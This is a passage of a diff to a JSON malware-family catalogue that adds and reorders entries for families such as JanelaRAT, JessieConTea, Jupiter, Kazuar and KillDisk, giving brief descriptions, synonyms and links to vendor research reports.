"https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146" ], "synonyms": [ "C3PRO-RACOON", @@ -29437,6 +30849,19 @@ "uuid": "0f02ea79-5833-46e0-8458-c4a863a5a112", "value": "Jaku" }, + { + "description": "According to Zscaler, JanelaRAT is a heavily modified variant of BX RAT. Its focus is set on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.janela_rat", + "https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d8455b0c-1d0b-4857-8e6a-abc6892cf7b9", + "value": "JanelaRAT" + }, { "description": "", "meta": { @@ -29452,14 +30877,14 @@ "value": "Janeleiro" }, { - "description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.", + "description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to \u201charvest\u201d the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jason", - "https://twitter.com/P3pperP0tts/status/1135503765287657472", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://marcoramilli.com/2019/06/06/apt34-jason-project/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://twitter.com/P3pperP0tts/status/1135503765287657472" ], "synonyms": [], "type": [] @@ -29510,15 +30935,30 @@ "uuid": "a1d7e117-4ca9-4d67-a4dd-53626827ed2f", "value": "Jeno" }, + { + "description": "JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker\u2019s arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.\r\n\r\nThe malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.\r\n\r\nJessieConTea generates POST parameters with a specific parameter name, jsessid, from which the initial part of its name is derived. Also, it contains a specific RTTI symbol \".?AVCHttpConn@@\", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.\r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea", + "https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", + "https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html", + "https://securelist.com/lazarus-trojanized-defi-app/106195/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f286f97-30c8-4281-887b-9cbede9f1e1e", + "value": "JessieConTea" + }, { "description": "Cisco Talos identified JhoneRAT in January 2020. The RAT is delivered through cloud services (Google Drive) and also submits stolen data to them (Google Drive, Twitter, ImgBB, GoogleForms). The actors using JhoneRAT target Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain and Lebanon.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jhone_rat", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://blog.talosintelligence.com/2020/01/jhonerat.html", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "https://blog.talosintelligence.com/2020/01/jhonerat.html" ], "synonyms": [], "type": [] @@ -29569,15 +31009,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", "https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4", + "https://www.secureworks.com/research/threat-profiles/nickel-academy", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", - "https://www.us-cert.gov/ncas/alerts/TA18-149A", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.us-cert.gov/ncas/alerts/TA18-149A" ], "synonyms": [], "type": [] @@ -29656,14 +31096,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://twitter.com/zlab_team/status/1208022180241530882", - "https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/", - "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", - "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", - "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", "https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", - "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf" + "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf", + "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", + "https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/", + "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", + "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -29676,19 +31116,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf", - "https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni", - "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware", - "https://www.bleepingcomputer.com/news/security/malicious-microsoft-excel-add-ins-used-to-deliver-rat-malware/", - "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/jssloader-the-shellcode-edition", "https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files", "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni", + "https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware", + "https://www.microsoft.com/en-us/security/blog/2023/09/12/malware-distributor-storm-0324-facilitates-ransomware-access/", "https://www.proofpoint.com/us/blog/threat-insight/jssloader-recoded-and-reloaded", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/jssloader-the-shellcode-edition", + "https://www.bleepingcomputer.com/news/security/malicious-microsoft-excel-add-ins-used-to-deliver-rat-malware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor" ], "synonyms": [], "type": [] @@ -29701,11 +31142,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://lifars.com/wp-content/uploads/2020/06/Cryptocurrency-Miners-XMRig-Based-CoinMiner-by-Blue-Mockingbird-Group.pdf", "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", "https://github.com/ohpe/juicy-potato", - "https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/", - "https://lifars.com/wp-content/uploads/2020/06/Cryptocurrency-Miners-XMRig-Based-CoinMiner-by-Blue-Mockingbird-Group.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + "https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/" ], "synonyms": [], "type": [] @@ -29726,6 +31167,22 @@ "uuid": "a08db33d-4c37-4075-bd49-c3ab66a339db", "value": "JUMPALL" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter", + "https://securelist.com/lazarus-andariel-mistakes-and-easyrat/110119/", + "https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499" + ], + "synonyms": [ + "EarlyRAT" + ], + "type": [] + }, + "uuid": "47baaed8-073c-4a13-92dc-434210ea3cd0", + "value": "Jupiter" + }, { "description": "", "meta": { @@ -29759,10 +31216,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", "https://www.secureworks.com/research/threat-profiles/iron-liberty", - "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf" + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" ], "synonyms": [ "Karagny" @@ -29777,8 +31234,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader", - "https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab", - "https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/" + "https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/", + "https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab" ], "synonyms": [], "type": [] @@ -29791,9 +31248,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius", - "https://research.checkpoint.com/banking-trojans-development/", "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/" + "https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/", + "https://research.checkpoint.com/banking-trojans-development/" ], "synonyms": [], "type": [] @@ -29807,10 +31264,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff", "https://www.secureworks.com/research/threat-profiles/cobalt-edgewater", - "https://blog.telsy.com/apt34-aka-oilrig-attacks-lebanon-government-entities-with-maildropper-implant/", "https://blog.yoroi.company/research/karkoff-2020-a-new-apt34-espionage-operation-involves-lebanon-government/", "https://mp.weixin.qq.com/s/o_EVjBVN2sQ1q7cl4rUXoQ", "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html", + "https://blog.telsy.com/apt34-aka-oilrig-attacks-lebanon-government-entities-with-maildropper-implant/", "https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], @@ -29829,14 +31286,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma", - "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", - "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", - "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware", - "https://www.youtube.com/watch?v=hgz5gZB3DxE", + "https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/" + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", + "https://www.youtube.com/watch?v=hgz5gZB3DxE", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/" ], "synonyms": [], "type": [] @@ -29849,8 +31306,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/", - "https://www.threatconnect.com/blog/kasperagent-malware-campaign/" + "https://www.threatconnect.com/blog/kasperagent-malware-campaign/", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/" ], "synonyms": [], "type": [] @@ -29864,14 +31321,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar", "https://youtu.be/SW8kVkwDOrc?t=24706", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", - "https://www.epicturla.com/blog/sysinturla", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://securelist.com/sunburst-backdoor-kazuar/99981/", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + "https://cert.gov.ua/article/5213167", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://twitter.com/msftsecintel/status/1681695399084539908", + "https://www.epicturla.com/blog/sysinturla" ], "synonyms": [], "type": [] @@ -29939,15 +31398,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos", - "https://en.wikipedia.org/wiki/Kelihos_botnet", - "https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/", - "https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/", - "https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", "https://www.justice.gov/opa/pr/russian-national-convicted-charges-relating-kelihos-botnet", + "https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/", "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", - "https://www.bleepingcomputer.com/news/security/us-convicts-russian-national-behind-kelihos-botnet-crypting-service/", - "https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/" + "https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/", + "https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/", + "https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/", + "https://en.wikipedia.org/wiki/Kelihos_botnet", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://www.bleepingcomputer.com/news/security/us-convicts-russian-national-behind-kelihos-botnet-crypting-service/" ], "synonyms": [], "type": [] @@ -29973,18 +31432,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", - "https://www.amnesty.de/sites/default/files/2021-02/Amnesty-Bericht-Vietnam-Click-And-Bait-Blogger-Deutschland-Spionage-Menschenrechtsverteidiger-Februar-2021.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7", + "https://blog.cystack.net/word-based-malware-attack/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.amnesty.de/sites/default/files/2021-02/Amnesty-Bericht-Vietnam-Click-And-Bait-Blogger-Deutschland-Spionage-Menschenrechtsverteidiger-Februar-2021.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", - "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", - "https://blog.cystack.net/word-based-malware-attack/", - "https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", + "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam" ], "synonyms": [], "type": [] @@ -29997,10 +31456,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican", + "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/", "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/" + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/" ], "synonyms": [], "type": [] @@ -30027,11 +31486,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase", "https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017", - "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", - "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", - "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", - "https://voidsec.com/keybase-en/", "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", + "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", + "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", + "https://voidsec.com/keybase-en/", + "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/" ], "synonyms": [ @@ -30047,9 +31506,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy", - "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html", "https://www.secureworks.com/research/threat-profiles/bronze-hobart", + "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", "https://citizenlab.ca/2016/11/parliament-keyboy/", "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" ], @@ -30067,8 +31526,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3", "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", - "https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/", - "https://twitter.com/smoothimpact/status/773631684038107136" + "https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html", + "https://twitter.com/smoothimpact/status/773631684038107136", + "https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/" ], "synonyms": [], "type": [] @@ -30083,8 +31543,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble", "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://research.checkpoint.com/north-korea-turns-against-russian-targets/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://research.checkpoint.com/north-korea-turns-against-russian-targets/" ], "synonyms": [], "type": [] @@ -30097,8 +31557,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy", - "https://mp.weixin.qq.com/s/cbaePmZSk_Ob0r486RMXyw", - "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite" + "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "https://mp.weixin.qq.com/s/cbaePmZSk_Ob0r486RMXyw" ], "synonyms": [], "type": [] @@ -30111,11 +31571,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari", - "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", + "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/", "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://assets.virustotal.com/reports/2021trends.pdf" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks" ], "synonyms": [], "type": [] @@ -30124,14 +31584,14 @@ "value": "Khonsari" }, { - "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", + "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine\u2019s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat", "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", + "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor", "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor" + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" ], "synonyms": [], "type": [] @@ -30157,28 +31617,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav", + "https://www.mandiant.com/resources/unc2596-cuba-ransomware", + "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/", "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", "https://cyber.aon.com/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" ], - "synonyms": [], + "synonyms": [ + "BURNTCIGAR" + ], "type": [] }, "uuid": "ad6ac685-e13f-4522-9805-644f82818347", "value": "KillAV" }, { - "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", + "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many \u201csub-families\u201d, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk", - "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://attack.mitre.org/groups/G0034", "https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://attack.mitre.org/groups/G0034" + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://www.secureworks.com/research/threat-profiles/iron-viking" ], "synonyms": [], "type": [] @@ -30218,21 +31682,22 @@ "refs": [ 